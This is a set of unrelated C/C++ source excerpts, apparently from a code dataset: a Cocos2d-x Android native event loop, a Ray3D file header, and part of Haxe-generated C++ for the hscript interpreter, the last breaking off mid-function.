static void engine_handle_cmd(struct android_app* app, int32_t cmd) {
struct engine* engine = (struct engine*)app->userData;
switch (cmd) {
case APP_CMD_SAVE_STATE:
// The system has asked us to save our current state. Do so.
engine->app->savedState = malloc(sizeof(struct saved_state));
*((struct saved_state*)engine->app->savedState) = engine->state;
engine->app->savedStateSize = sizeof(struct saved_state);
break;
case APP_CMD_INIT_WINDOW:
// The window is being shown, get it ready.
if (engine->app->window != NULL) {
cocos_dimensions d = engine_init_display(engine);
if ((d.w > 0) &&
(d.h > 0)) {
cocos2d::JniHelper::setJavaVM(app->activity->vm);
cocos2d::JniHelper::setClassLoaderFrom(app->activity->clazz);
// call Cocos2dxHelper.init()
cocos2d::JniMethodInfo ccxhelperInit;
if (!cocos2d::JniHelper::getStaticMethodInfo(ccxhelperInit,
"org/cocos2dx/lib/Cocos2dxHelper",
"init",
"(Landroid/app/Activity;)V")) {
LOGI("cocos2d::JniHelper::getStaticMethodInfo(ccxhelperInit) FAILED");
}
ccxhelperInit.env->CallStaticVoidMethod(ccxhelperInit.classID,
ccxhelperInit.methodID,
app->activity->clazz);
cocos_init(d, app);
}
engine->animating = 1;
engine_draw_frame(engine);
}
break;
case APP_CMD_TERM_WINDOW:
// The window is being hidden or closed, clean it up.
engine_term_display(engine);
break;
case APP_CMD_GAINED_FOCUS:
if (cocos2d::Director::getInstance()->getOpenGLView()) {
cocos2d::Application::getInstance()->applicationWillEnterForeground();
engine->animating = 1;
}
break;
case APP_CMD_LOST_FOCUS:
{
cocos2d::Application::getInstance()->applicationDidEnterBackground();
cocos2d::EventCustom backgroundEvent(EVENT_COME_TO_BACKGROUND);
cocos2d::Director::getInstance()->getEventDispatcher()->dispatchEvent(&backgroundEvent);
// Also stop animating.
engine->animating = 0;
engine_draw_frame(engine);
}
break;
}
}
static void onContentRectChanged(ANativeActivity* activity, const ARect* rect) {
timeRectChanged = std::chrono::steady_clock::now();
isContentRectChanged = true;
}
static void process_input(struct android_app* app, struct android_poll_source* source) {
AInputEvent* event = NULL;
int processed = 0;
while (AInputQueue_hasEvents( app->inputQueue ) && AInputQueue_getEvent(app->inputQueue, &event) >= 0) {
LOGV("New input event: type=%d\n", AInputEvent_getType(event));
if (AInputQueue_preDispatchEvent(app->inputQueue, event)) {
continue;
}
int32_t handled = 0;
if (app->onInputEvent != NULL) handled = app->onInputEvent(app, event);
AInputQueue_finishEvent(app->inputQueue, event, handled);
processed = 1;
}
if (processed == 0) {
LOGE("Failure reading next input event: %s\n", strerror(errno));
}
}
/**
* This is the main entry point of a native application that is using
* android_native_app_glue. It runs in its own thread, with its own
* event loop for receiving input events and doing other things.
*/
void android_main(struct android_app* state) {
// Make sure glue isn't stripped.
app_dummy();
memset(&engine, 0, sizeof(engine));
state->userData = &engine;
state->onAppCmd = engine_handle_cmd;
state->onInputEvent = engine_handle_input;
state->inputPollSource.process = process_input;
engine.app = state;
// Prepare to monitor accelerometer
engine.sensorManager = ASensorManager_getInstance();
engine.accelerometerSensor = ASensorManager_getDefaultSensor(engine.sensorManager,
ASENSOR_TYPE_ACCELEROMETER);
engine.sensorEventQueue = ASensorManager_createEventQueue(engine.sensorManager,
state->looper, LOOPER_ID_USER, NULL, NULL);
if (state->savedState != NULL) {
// We are starting with a previous saved state; restore from it.
engine.state = *(struct saved_state*)state->savedState;
}
// Screen size change support
state->activity->callbacks->onContentRectChanged = onContentRectChanged;
// loop waiting for stuff to do.
while (1) {
// Read all pending events.
int ident;
int events;
struct android_poll_source* source;
// If not animating, we will block forever waiting for events.
// If animating, we loop until all events are read, then continue
// to draw the next frame of animation.
while ((ident=ALooper_pollAll(engine.animating ? 0 : -1, NULL, &events,
(void**)&source)) >= 0) {
// Process this event.
if (source != NULL) {
source->process(state, source);
}
// If a sensor has data, process it now.
if (ident == LOOPER_ID_USER) {
if (engine.accelerometerSensor != NULL) {
ASensorEvent event;
while (ASensorEventQueue_getEvents(engine.sensorEventQueue,
&event, 1) > 0) {
LOG_EVENTS_DEBUG("accelerometer: x=%f y=%f z=%f",
event.acceleration.x, event.acceleration.y,
event.acceleration.z);
AConfiguration* _currentconf = AConfiguration_new();
AConfiguration_fromAssetManager(_currentconf,
state->activity->assetManager);
static int32_t _orientation = AConfiguration_getOrientation(_currentconf);
if (ACONFIGURATION_ORIENTATION_LAND != _orientation) {
// ACONFIGURATION_ORIENTATION_ANY
// ACONFIGURATION_ORIENTATION_PORT
// ACONFIGURATION_ORIENTATION_SQUARE
cocos2d::Acceleration acc;
acc.x = -event.acceleration.x/10;
acc.y = -event.acceleration.y/10;
acc.z = event.acceleration.z/10;
acc.timestamp = 0;
cocos2d::EventAcceleration accEvent(acc);
auto dispatcher = cocos2d::Director::getInstance()->getEventDispatcher();
dispatcher->dispatchEvent(&accEvent);
} else {
// ACONFIGURATION_ORIENTATION_LAND
// swap x and y parameters
cocos2d::Acceleration acc;
acc.x = event.acceleration.y/10;
acc.y = -event.acceleration.x/10;
acc.z = event.acceleration.z/10;
acc.timestamp = 0;
cocos2d::EventAcceleration accEvent(acc);
auto dispatcher = cocos2d::Director::getInstance()->getEventDispatcher();
dispatcher->dispatchEvent(&accEvent);
}
}
}
}
// Check if we are exiting.
if (state->destroyRequested != 0) {
engine_term_display(&engine);
memset(&engine, 0, sizeof(engine));
s_methodInitialized = false;
return;
}
}
if (engine.animating) {
// Done with events; draw next animation frame.
engine.state.angle += .01f;
if (engine.state.angle > 1) {
engine.state.angle = 0;
}
// Drawing is throttled to the screen update rate, so there
// is no need to do timing here.
LOG_RENDER_DEBUG("android_main : engine.animating");
engine_draw_frame(&engine);
} else {
LOG_RENDER_DEBUG("android_main : !engine.animating");
}
// Check if screen size changed
if (isContentRectChanged) {
std::chrono::duration<int, std::milli> duration(
std::chrono::duration_cast<std::chrono::duration<int, std::milli>>(std::chrono::steady_clock::now() - timeRectChanged));
// Wait about 30 ms to get new width and height. Without waiting we can get old values sometime
if (duration.count() > 30) {
isContentRectChanged = false;
int32_t newWidth = ANativeWindow_getWidth(engine.app->window);
int32_t newHeight = ANativeWindow_getHeight(engine.app->window);
cocos2d::Application::getInstance()->applicationScreenSizeChanged(newWidth, newHeight);
}
}
}
}
| 26,546 | 8,467 |
/*
Ray3D.cpp
Written by Matthew Fisher
a 3D ray represented by an origin point and a direction vector.
*/ | 106 | 35 |
// Generated by Haxe 4.1.4
#include <hxcpp.h>
#ifndef INCLUDED_IntIterator
#include <IntIterator.h>
#endif
#ifndef INCLUDED_Reflect
#include <Reflect.h>
#endif
#ifndef INCLUDED_Std
#include <Std.h>
#endif
#ifndef INCLUDED_Type
#include <Type.h>
#endif
#ifndef INCLUDED_haxe_Exception
#include <haxe/Exception.h>
#endif
#ifndef INCLUDED_haxe_IMap
#include <haxe/IMap.h>
#endif
#ifndef INCLUDED_haxe_Log
#include <haxe/Log.h>
#endif
#ifndef INCLUDED_haxe_ds_BalancedTree
#include <haxe/ds/BalancedTree.h>
#endif
#ifndef INCLUDED_haxe_ds_EnumValueMap
#include <haxe/ds/EnumValueMap.h>
#endif
#ifndef INCLUDED_haxe_ds_IntMap
#include <haxe/ds/IntMap.h>
#endif
#ifndef INCLUDED_haxe_ds_ObjectMap
#include <haxe/ds/ObjectMap.h>
#endif
#ifndef INCLUDED_haxe_ds_StringMap
#include <haxe/ds/StringMap.h>
#endif
#ifndef INCLUDED_hscript_CType
#include <hscript/CType.h>
#endif
#ifndef INCLUDED_hscript_Const
#include <hscript/Const.h>
#endif
#ifndef INCLUDED_hscript_Error
#include <hscript/Error.h>
#endif
#ifndef INCLUDED_hscript_Expr
#include <hscript/Expr.h>
#endif
#ifndef INCLUDED_hscript_Interp
#include <hscript/Interp.h>
#endif
#ifndef INCLUDED_hscript__Interp_Stop
#include <hscript/_Interp/Stop.h>
#endif
HX_DEFINE_STACK_FRAME(_hx_pos_f37559d470356c9e_53_new,"hscript.Interp","new",0xf7e71101,"hscript.Interp.new","hscript/Interp.hx",53,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_64_resetVariables,"hscript.Interp","resetVariables",0x6cebf7e7,"hscript.Interp.resetVariables","hscript/Interp.hx",64,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_74_resetVariables,"hscript.Interp","resetVariables",0x6cebf7e7,"hscript.Interp.resetVariables","hscript/Interp.hx",74,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_87_posInfos,"hscript.Interp","posInfos",0x444859d0,"hscript.Interp.posInfos","hscript/Interp.hx",87,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_97_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",97,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_98_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",98,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_99_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",99,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_100_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",100,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_101_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",101,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_102_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",102,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_103_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",103,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_104_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",104,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_105_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",105,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_106_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",106,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_107_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",107,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_108_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",108,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_109_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",109,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_110_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",110,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_111_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",111,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_112_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",112,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_113_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",113,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_114_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",114,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_115_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",115,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_117_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",117,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_118_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",118,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_119_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",119,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_120_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",120,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_121_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",121,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_122_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",122,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_123_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",123,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_124_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",124,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_125_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",125,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_126_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",126,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_127_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",127,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_128_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",128,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_90_initOps,"hscript.Interp","initOps",0xe1420823,"hscript.Interp.initOps","hscript/Interp.hx",90,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_131_assign,"hscript.Interp","assign",0xca66602e,"hscript.Interp.assign","hscript/Interp.hx",131,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_160_assignOp,"hscript.Interp","assignOp",0xf8e18cef,"hscript.Interp.assignOp","hscript/Interp.hx",160,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_158_assignOp,"hscript.Interp","assignOp",0xf8e18cef,"hscript.Interp.assignOp","hscript/Interp.hx",158,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_163_evalAssignOp,"hscript.Interp","evalAssignOp",0xa46efc2b,"hscript.Interp.evalAssignOp","hscript/Interp.hx",163,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_199_increment,"hscript.Interp","increment",0x1e81f590,"hscript.Interp.increment","hscript/Interp.hx",199,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_246_execute,"hscript.Interp","execute",0xe1c3af56,"hscript.Interp.execute","hscript/Interp.hx",246,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_258_exprReturn,"hscript.Interp","exprReturn",0x8cfbf144,"hscript.Interp.exprReturn","hscript/Interp.hx",258,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_273_duplicate,"hscript.Interp","duplicate",0x8d9a10ec,"hscript.Interp.duplicate","hscript/Interp.hx",273,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_285_restore,"hscript.Interp","restore",0x80670c6f,"hscript.Interp.restore","hscript/Interp.hx",285,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_293_error,"hscript.Interp","error",0xe68736a9,"hscript.Interp.error","hscript/Interp.hx",293,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_301_rethrow,"hscript.Interp","rethrow",0x0be155b4,"hscript.Interp.rethrow","hscript/Interp.hx",301,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_305_resolve,"hscript.Interp","resolve",0x7d16b80d,"hscript.Interp.resolve","hscript/Interp.hx",305,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_315_expr,"hscript.Interp","expr",0xec634974,"hscript.Interp.expr","hscript/Interp.hx",315,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_410_expr,"hscript.Interp","expr",0xec634974,"hscript.Interp.expr","hscript/Interp.hx",410,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_583_doWhileLoop,"hscript.Interp","doWhileLoop",0x813d4b4b,"hscript.Interp.doWhileLoop","hscript/Interp.hx",583,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_600_whileLoop,"hscript.Interp","whileLoop",0xce1b3216,"hscript.Interp.whileLoop","hscript/Interp.hx",600,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_616_makeIterator,"hscript.Interp","makeIterator",0x634d013b,"hscript.Interp.makeIterator","hscript/Interp.hx",616,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_626_forLoop,"hscript.Interp","forLoop",0xdf1ff72e,"hscript.Interp.forLoop","hscript/Interp.hx",626,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_646_isMap,"hscript.Interp","isMap",0x34ae9fb3,"hscript.Interp.isMap","hscript/Interp.hx",646,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_650_getMapValue,"hscript.Interp","getMapValue",0x1594fb8c,"hscript.Interp.getMapValue","hscript/Interp.hx",650,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_654_setMapValue,"hscript.Interp","setMapValue",0x20020298,"hscript.Interp.setMapValue","hscript/Interp.hx",654,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_657_get,"hscript.Interp","get",0xf7e1c137,"hscript.Interp.get","hscript/Interp.hx",657,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_673_set,"hscript.Interp","set",0xf7eadc43,"hscript.Interp.set","hscript/Interp.hx",673,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_680_fcall,"hscript.Interp","fcall",0x6ff6aee5,"hscript.Interp.fcall","hscript/Interp.hx",680,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_684_call,"hscript.Interp","call",0xeaff64dd,"hscript.Interp.call","hscript/Interp.hx",684,0xf078416e)
HX_LOCAL_STACK_FRAME(_hx_pos_f37559d470356c9e_687_cnew,"hscript.Interp","cnew",0xeb093c1c,"hscript.Interp.cnew","hscript/Interp.hx",687,0xf078416e)
namespace hscript{
void Interp_obj::__construct(){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_53_new)
HXLINE( 55) this->locals = ::haxe::ds::StringMap_obj::__alloc( HX_CTX );
HXLINE( 59) this->declared = ::Array_obj< ::Dynamic>::__new();
HXLINE( 60) this->resetVariables();
HXLINE( 61) this->initOps();
}
Dynamic Interp_obj::__CreateEmpty() { return new Interp_obj; }
void *Interp_obj::_hx_vtable = 0;
Dynamic Interp_obj::__Create(::hx::DynamicArray inArgs)
{
::hx::ObjectPtr< Interp_obj > _hx_result = new Interp_obj();
_hx_result->__construct();
return _hx_result;
}
bool Interp_obj::_hx_isInstanceOf(int inClassId) {
return inClassId==(int)0x00000001 || inClassId==(int)0x2a95eb9f;
}
void Interp_obj::resetVariables(){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_64_resetVariables)
HXDLIN( 64) ::hscript::Interp _gthis = ::hx::ObjectPtr<OBJ_>(this);
HXLINE( 66) this->variables = ::haxe::ds::StringMap_obj::__alloc( HX_CTX );
HXLINE( 71) {
HXLINE( 71) ::Dynamic value = null();
HXDLIN( 71) this->variables->set(HX_("null",87,9e,0e,49),value);
}
HXLINE( 72) this->variables->set(HX_("true",4e,a7,03,4d),true);
HXLINE( 73) this->variables->set(HX_("false",a3,35,4f,fb),false);
HXLINE( 74) {
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_0, ::hscript::Interp,_gthis) HXARGC(1)
void _hx_run(::cpp::VirtualArray el){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_74_resetVariables)
HXLINE( 75) ::Dynamic inf = _gthis->posInfos();
HXLINE( 76) ::Dynamic v = el->shift();
HXLINE( 77) if ((el->get_length() > 0)) {
HXLINE( 77) inf->__SetField(HX_("customParams",d7,51,18,ed),el,::hx::paccDynamic);
}
HXLINE( 78) ::Dynamic value = ::haxe::Log_obj::trace;
HXDLIN( 78) value(::Std_obj::string(v),inf);
}
HX_END_LOCAL_FUNC1((void))
HXLINE( 74) ::Dynamic this1 = this->variables;
HXDLIN( 74) ( ( ::haxe::ds::StringMap)(this1) )->set(HX_("trace",85,8e,1f,16),::Reflect_obj::makeVarArgs( ::Dynamic(new _hx_Closure_0(_gthis))));
}
}
HX_DEFINE_DYNAMIC_FUNC0(Interp_obj,resetVariables,(void))
::Dynamic Interp_obj::posInfos(){
HX_STACKFRAME(&_hx_pos_f37559d470356c9e_87_posInfos)
HXDLIN( 87) return ::Dynamic(::hx::Anon_obj::Create(2)
->setFixed(0,HX_("fileName",e7,5a,43,62),HX_("hscript",73,8c,18,2c))
->setFixed(1,HX_("lineNumber",dd,81,22,76),0));
}
HX_DEFINE_DYNAMIC_FUNC0(Interp_obj,posInfos,return )
void Interp_obj::initOps(){
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_0, ::hscript::Interp,me) HXARGC(2)
::Dynamic _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_97_initOps)
HXLINE( 97) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 97) return (_hx_tmp + me->expr(e2));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_1, ::hscript::Interp,me) HXARGC(2)
Float _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_98_initOps)
HXLINE( 98) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 98) return (( (Float)(_hx_tmp) ) - ( (Float)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_2, ::hscript::Interp,me) HXARGC(2)
Float _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_99_initOps)
HXLINE( 99) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 99) return (( (Float)(_hx_tmp) ) * ( (Float)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_3, ::hscript::Interp,me) HXARGC(2)
Float _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_100_initOps)
HXLINE( 100) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 100) return (( (Float)(_hx_tmp) ) / ( (Float)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_4, ::hscript::Interp,me) HXARGC(2)
Float _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_101_initOps)
HXLINE( 101) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 101) return ::hx::Mod(_hx_tmp,me->expr(e2));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_5, ::hscript::Interp,me) HXARGC(2)
int _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_102_initOps)
HXLINE( 102) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 102) return (( (int)(_hx_tmp) ) & ( (int)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_6, ::hscript::Interp,me) HXARGC(2)
int _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_103_initOps)
HXLINE( 103) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 103) return (( (int)(_hx_tmp) ) | ( (int)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_7, ::hscript::Interp,me) HXARGC(2)
int _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_104_initOps)
HXLINE( 104) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 104) return (( (int)(_hx_tmp) ) ^ ( (int)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_8, ::hscript::Interp,me) HXARGC(2)
int _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_105_initOps)
HXLINE( 105) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 105) return (( (int)(_hx_tmp) ) << ( (int)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_9, ::hscript::Interp,me) HXARGC(2)
int _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_106_initOps)
HXLINE( 106) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 106) return (( (int)(_hx_tmp) ) >> ( (int)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_10, ::hscript::Interp,me) HXARGC(2)
int _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_107_initOps)
HXLINE( 107) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 107) return ::hx::UShr(( (int)(_hx_tmp) ),( (int)(me->expr(e2)) ));
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_11, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_108_initOps)
HXLINE( 108) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 108) return ::hx::IsEq( _hx_tmp,me->expr(e2) );
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_12, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_109_initOps)
HXLINE( 109) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 109) return ::hx::IsNotEq( _hx_tmp,me->expr(e2) );
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_13, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_110_initOps)
HXLINE( 110) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 110) return ::hx::IsGreaterEq( _hx_tmp,me->expr(e2) );
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_14, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_111_initOps)
HXLINE( 111) ::Dynamic _hx_tmp = me->expr(e1);
HXDLIN( 111) return ::hx::IsLessEq( _hx_tmp,me->expr(e2) );
}
HX_END_LOCAL_FUNC2(return)
HX_BEGIN_LOCAL_FUNC_S1(::hx::LocalFunc,_hx_Closure_15, ::hscript::Interp,me) HXARGC(2)
bool _hx_run( ::hscript::Expr e1, ::hscript::Expr e2){
HX_GC_STACKFRAME(&_hx_pos_f37559d470356c9e_112_initOps)
